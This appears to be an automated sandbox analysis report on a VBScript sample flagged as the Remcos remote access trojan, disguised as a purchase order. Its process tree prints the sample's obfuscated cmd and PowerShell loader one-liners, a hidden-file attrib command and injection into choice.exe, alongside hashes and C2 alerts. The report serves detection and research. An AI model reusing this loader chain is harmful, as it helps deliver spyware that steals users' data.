Analysis

  • max time kernel
    149s
  • max time network
    140s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    23/09/2026, 19:34

General

  • Target
    Orden de compra_009373.vbs
  • Size 1.1MB
  • Sample260923-x94dqsbb47
  • SHA256 97b0e0a6af838ab3954ae22ffd5239e7b0712be6e4d585aa2ec74df1f2e1c34b
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Suricata alert: REMCOS RAT Malware Inbound C2 Communication 7 IoCs

    Network activity triggered a Suricata alert

  • Suricata alert: REMCOS RAT Malware Outbound C2 Communication 9 IoCs

    Network activity triggered a Suricata alert

  • Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
  • Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 20 IoCs
  • Suspicious behavior: MapViewOfSection 1 TTPs 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs
  • outlook_office_path 1 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Orden de compra_009373.vbs"
    1⤵
    • Executes a VBScript file via the Windows Script Host.
    • Suspicious use of WriteProcessMemory
    PID:4956
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /v:on /c set "A001=$p=["&& set "A002=char"&& set "A003=]39+"&& set "A004=[cha"&& set "A005=r]32"&& set "A006=+$ar"&& set "A007=gs[0"&& set "A008=];$r"&& set "A009==$en"&& set "A010=v:NJ"&& set "A011=NBLP"&& set "A012=PQ;$"&& set "A013=f=$a"&& set "A014=rgs["&& set "A015=1];$"&& set "A016=s=$a"&& set "A017=rgs["&& set "A018=2];$"&& set "A019=rl=$"&& set "A020=args"&& set "A021=[3]+"&& set "A022=$arg"&& set "A023=s[4]"&& set "A024=+$ar"&& set "A025=gs[5"&& set "A026=];$w"&& set "A027=l=$a"&& set "A028=rgs["&& set "A029=6]+$"&& set "A030=args"&& set "A031=[4]+"&& set "A032=$arg"&& set "A033=s[5]"&& set "A034=;$tf"&& set "A035==$ar"&& set "A036=gs[7"&& set "A037=]+$a"&& set "A038=rgs["&& set "A039=8]+$"&& set "A040=args"&& set "A041=[9];"&& set "A042=$t=0"&& set "A043=;whi"&& set "A044=le($"&& set "A045=t-lt"&& set "A046=8){$"&& set "A047=t++;"&& set "A048=$a=$"&& set "A049=null"&& set "A050=;try"&& set "A051={$ra"&& set "A052=w=(["&& set "A053=type"&& set "A054=]$tf"&& set "A055=).Ge"&& set "A056=tMet"&& set "A057=hod("&& set "A058=$rl,"&& set "A059=[typ"&& set "A060=e[]]"&& set "A061=@([s"&& set "A062=trin"&& set "A063=g]))"&& set "A064=.Inv"&& set "A065=oke("&& set "A066=$nul"&& set "A067=l,@("&& set "A068=$r))"&& set "A069=;$a="&& set "A070=fore"&& set "A071=ach("&& set "A072=$l i"&& set "A073=n $r"&& set "A074=aw){"&& set "A075=$i=$"&& set "A076=l.In"&& set "A077=dexO"&& set "A078=f($p"&& set "A079=);if"&& set "A080=($i-"&& set "A081=ge 0"&& set "A082=){$l"&& set "A083=.Sub"&& set "A084=stri"&& set "A085=ng($"&& set "A086=i+$p"&& set "A087=.Len"&& set "A088=gth)"&& set "A089=-spl"&& set "A090=it$s"&& set "A091=}}}c"&& set "A092=atch"&& set "A093={};i"&& set "A094=f($a"&& set "A095=){(["&& set "A096=type"&& set "A097=]$tf"&& set "A098=).Ge"&& set "A099=tMet"&& set "A100=hod("&& set "A101=$wl,"&& set "A102=[typ"&& set "A103=e[]]"&& set "A104=@([s"&& set "A105=trin"&& set "A106=g],["&& set "A107=stri"&& set "A108=ng[]"&& set "A109=]))."&& set "A110=Invo"&& set "A111=ke($"&& set "A112=null"&& set "A113=,@($"&& set "A114=f,[s"&& set "A115=trin"&& set "A116=g[]]"&& set "A117=@($a"&& set "A118=)));"&& set "A119=brea"&& set "A120=k};S"&& set "A121=tart"&& set "A122=-Sle"&& set "A123=ep -"&& set "A124=Mill"&& set "A125=isec"&& set "A126=onds"&& set "A127= 400"&& set "A128=}"&& set "NJNBLPPQ=C:\Users\Admin\AppData\Local\Temp\Orden de compra_009373.vbs"&& set "ZUOZB=!A001!!A002!!A003!!A004!!A005!!A006!!A007!!A008!!A009!!A010!!A011!!A012!!A013!!A014!!A015!!A016!!A017!!A018!!A019!!A020!!A021!!A022!!A023!!A024!!A025!!A026!!A027!!A028!!A029!!A030!!A031!!A032!!A033!!A034!!A035!!A036!!A037!!A038!!A039!!A040!!A041!!A042!!A043!!A044!!A045!!A046!!A047!!A048!!A049!!A050!!A051!!A052!!A053!!A054!!A055!!A056!!A057!!A058!!A059!!A060!!A061!!A062!!A063!!A064!!A065!!A066!!A067!!A068!!A069!!A070!!A071!!A072!!A073!!A074!!A075!!A076!!A077!!A078!!A079!!A080!!A081!!A082!!A083!!A084!!A085!!A086!!A087!!A088!!A089!!A090!!A091!!A092!!A093!!A094!!A095!!A096!!A097!!A098!!A099!!A100!!A101!!A102!!A103!!A104!!A105!!A106!!A107!!A108!!A109!!A110!!A111!!A112!!A113!!A114!!A115!!A116!!A117!!A118!!A119!!A120!!A121!!A122!!A123!!A124!!A125!!A126!!A127!!A128!"&& "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -command "&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:ZUOZB))" "WPERQUDRU" "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\741087410858.cmd" "QZEYERXZCG" "Read" "All" "Lines" "Write" "System" ".IO." "File"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2848
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -command "&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:ZUOZB))" "WPERQUDRU" "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\741087410858.cmd" "QZEYERXZCG" "Read" "All" "Lines" "Write" "System" ".IO." "File"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5404
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\741087410858.cmd"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3796
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c findstr /c:"&rem OEEAMGOJJGY" "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\741087410858.cmd"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4524
        • C:\Windows\system32\findstr.exe
          findstr /c:"&rem OEEAMGOJJGY" "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\741087410858.cmd"
          4⤵
            PID:5780
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:YPOQNBDO));&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:PENYZYXXOEV))"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1896
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:YPOQNBDO));&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:PENYZYXXOEV))"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2624
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:YPOQNBDO));&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:PENYZYXXOEV))"
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1140
            • C:\Windows\system32\choice.exe
              "C:\Windows\system32\choice.exe"
              5⤵
              • Suricata alert: REMCOS RAT Malware Inbound C2 Communication
              • Suricata alert: REMCOS RAT Malware Outbound C2 Communication
              • Accesses Microsoft Outlook profiles
              • outlook_office_path
              PID:1848
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\741087410858.cmd"
        2⤵
        • Hide Artifacts: Hidden Files and Directories
        • Suspicious use of WriteProcessMemory
        PID:3164
        • C:\Windows\system32\attrib.exe
          attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\741087410858.cmd"
          3⤵
          • Views/modifies file attributes
          PID:2928

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          logs.dat

          • Path C:\ProgramData\folder\logs.dat
          • Size 102B
          • SHA256 a8e19947d615ac77b8e8272b5dd8c50df36488f5fd41a44b2f584c24efd8ad38
          • MD5 SHA1 SHA512 TLSH

          741087410858.cmd

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\741087410858.cmd
          • Size 1.1MB
          • SHA256 c6d905ebd6cf21140205449eadf227f58ce1097117c793bead9701d8dad31cb3
          • MD5 SHA1 SHA512 SSDEEP TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 952B
          • SHA256 1321a719825d2d8d2d9135e551e460635bdfeb75be0927c3df7bfb87c450b575
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 fa606866043197f75de4426de51670f2291a94433384efe403e0026db4429a69
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_gboqry35.gvd.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gboqry35.gvd.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          handoff_dbg_1140_e59eebb.txt

          • Path C:\Users\Admin\AppData\Local\Temp\handoff_dbg_1140_e59eebb.txt
          • Size 612B
          • SHA256 6dd042c9f0259469041bbbfb74b5a30f5e1ec8bfedd51eff7d82f69be3701aa4
          • MD5 SHA1 SHA512 TLSH

          memory/1140-40-0x000001FCF46B0000-0x000001FCF46CC000-memory.dmp

          memory/1140-39-0x000001FCF4680000-0x000001FCF468A000-memory.dmp

          memory/1140-38-0x000001FCF46E0000-0x000001FCF46FE000-memory.dmp

          memory/1140-37-0x000001FCF4060000-0x000001FCF406A000-memory.dmp

          memory/1140-36-0x000001FCF4D20000-0x000001FCF4DD2000-memory.dmp

          memory/1140-35-0x000001FCF4C40000-0x000001FCF4C5E000-memory.dmp

          memory/1140-41-0x000001FCF4690000-0x000001FCF4698000-memory.dmp

          memory/1140-42-0x000001FCF46A0000-0x000001FCF46A6000-memory.dmp

          memory/1140-43-0x000001FCF46D0000-0x000001FCF46DA000-memory.dmp

          memory/1848-97-0x0000000140000000-0x00000001400B0000-memory.dmp

          memory/1848-104-0x0000024619870000-0x000002461999C000-memory.dmp

          memory/1848-130-0x0000000140000000-0x00000001400B0000-memory.dmp

          memory/1848-131-0x0000000140000000-0x00000001400B0000-memory.dmp

          memory/1848-120-0x0000000140000000-0x00000001400B0000-memory.dmp

          memory/1848-119-0x0000000140000000-0x00000001400B0000-memory.dmp

          memory/1848-111-0x00007FF7EF2E0000-0x00007FF7EF2EE000-memory.dmp

          memory/1848-109-0x0000000140000000-0x00000001400B0000-memory.dmp

          memory/1848-108-0x0000000140000000-0x00000001400B0000-memory.dmp

          memory/1848-105-0x0000000140000000-0x00000001400B0000-memory.dmp

          memory/1848-103-0x0000024619870000-0x000002461999C000-memory.dmp

          memory/1848-100-0x0000024619870000-0x000002461999C000-memory.dmp

          memory/1848-99-0x0000000140000000-0x00000001400B0000-memory.dmp

          memory/1848-44-0x0000024617610000-0x0000024617650000-memory.dmp

          memory/1848-45-0x0000024617610000-0x0000024617650000-memory.dmp

          memory/1848-98-0x0000000140000000-0x00000001400B0000-memory.dmp

          memory/1848-49-0x0000000180000000-0x0000000180040000-memory.dmp

          memory/1848-66-0x0000000140000000-0x00000001400B0000-memory.dmp

          memory/1848-68-0x0000000140000000-0x00000001400B0000-memory.dmp

          memory/1848-95-0x0000000140000000-0x00000001400B0000-memory.dmp

          memory/1848-93-0x0000000140000000-0x00000001400B0000-memory.dmp

          memory/1848-81-0x0000000140000000-0x00000001400B0000-memory.dmp

          memory/1848-61-0x0000024617610000-0x0000024617650000-memory.dmp

          memory/1848-96-0x0000000140000000-0x00000001400B0000-memory.dmp

          memory/5404-8-0x00007FFD7BED0000-0x00007FFD7C874000-memory.dmp

          memory/5404-1-0x00000247D6C70000-0x00000247D6C92000-memory.dmp

          memory/5404-5-0x00007FFD7BED0000-0x00007FFD7C874000-memory.dmp

          memory/5404-6-0x00007FFD7BED0000-0x00007FFD7C874000-memory.dmp

          memory/5404-18-0x00007FFD7BED0000-0x00007FFD7C874000-memory.dmp

          memory/5404-7-0x00007FFD7BED0000-0x00007FFD7C874000-memory.dmp

          memory/5404-2-0x00007FFD7BED0000-0x00007FFD7C874000-memory.dmp

          memory/5404-10-0x00007FFD7BED0000-0x00007FFD7C874000-memory.dmp

          memory/5404-0-0x00007FFD7C05F000-0x00007FFD7C060000-memory.dmp

          memory/5404-11-0x00007FFD7BED0000-0x00007FFD7C874000-memory.dmp

          memory/5404-9-0x00007FFD7BED0000-0x00007FFD7C874000-memory.dmp

          memory/5404-12-0x00007FFD7BED0000-0x00007FFD7C874000-memory.dmp

          memory/5404-13-0x00007FFD7BED0000-0x00007FFD7C874000-memory.dmp

          memory/5404-14-0x00007FFD7BED0000-0x00007FFD7C874000-memory.dmp

          memory/5404-16-0x00007FFD7BED0000-0x00007FFD7C874000-memory.dmp